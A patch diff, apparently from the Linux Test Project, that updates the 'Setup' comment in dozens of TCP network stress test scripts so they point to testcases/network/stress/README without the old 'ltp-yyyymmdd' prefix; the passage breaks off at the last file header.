diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13
index 43002dc..d50b598 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14 b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14
index 08b36d5..0dafd56 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14
+++ b/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01
index fdfade6..9b0a1ba 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02
index 5431f6b..cebe14d 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03
index 2c83b03..8911464 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04
index 9a06edd..66594c8 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05
index dab330a..f678cce 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06
index 8dc86cc..db6e0ef 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07
index 3ef8053..3f0eb96 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08
index 3d2b9f6..3cbf6eb 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09
index ec276b3..d2ab66b 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10
index 3a89272..eb59dce 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11
index a6e1eb1..1f231ee 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12
index 6708684..165c697 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13
index fda6493..a9290fa 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14 b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14
index 4a055c5..e82aab3 100644
--- a/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14
+++ b/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01
index dc9e784..9fe34fd 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01
@@ -34,7 +34,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02
index 2cf8ef9..7233c90 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03
index 797fbad..6b1861e 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04
index 0c6ccaf..0a89c7e 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05
index 31ede5f..267654d 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06
index ced2e90..730ea9b 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07
index f4066f3..2166b77 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08
index 2d54169..c667554 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09
index 9518109..4d12e15 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10
index ce47639..583a3da 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11
index bc300ef..3751d5a 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12
index 4ce60d9..98724b9 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13
index f1263ea..fc97160 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14 b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14
index 562f2c7..12fa513 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01
index 9176b0f..e47d491 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02
index 5145b47..20978ce 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03
index c2c551b..d06048d 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04
index af9ca92..33bcf44 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05
index c901d4b..5052a14 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06
index be6c12e..3911a11 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07
index 230b7ed..2263b87 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08
index 3af07bc..115b5f1 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09
index 77b0c4d..13a7ea6 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10
index 001928a..ceceaf2 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11
index 5bebe09..731e261 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12
index e841e18..60679d8 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13
index cdada65..369d44c 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14 b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14
index e784d43..0640250 100644
--- a/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14
+++ b/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01
index e260d35..6f62cd1 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01
@@ -34,7 +34,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02
index b344974..a701d80 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03
index 84d3a17..72031b3 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04
index 9084e90..9e13c5f 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05
index 0701eb2..eacea59 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06
index 9ed1bf3..1f6296d 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07
index 47bb51b..0351d0d 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08
index 2e07b0e..67840d0 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08
